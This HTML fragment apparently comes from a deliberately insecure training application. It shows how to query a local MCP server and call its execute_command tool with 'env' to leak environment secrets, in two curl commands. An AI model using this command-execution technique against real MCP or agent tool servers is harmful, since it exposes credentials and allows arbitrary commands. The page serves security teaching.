🤖 Insecure MCP Server Demo

+

An insecure MCP (Model Context Protocol) server is running alongside this application on a dedicated port. It exposes an execute_command tool that leaks environment variables — including secrets.

+ +
+

⚠️ The MCP server is also reachable on the main port via /mcp.

+ +

Step 1 — Discover what tools the MCP server exposes:

+ 
curl -s -X POST http://localhost:8090/mcp \
+  -H 'Content-Type: application/json' \
+  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
+ + + +

Step 2 — Call the execute_command tool to retrieve environment variables:

+ 
curl -s -X POST http://localhost:8090/mcp \
+  -H 'Content-Type: application/json' \
+  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
+ + + +

💡 Look for the WRONGSECRETS_MCP_SECRET key in the response above.
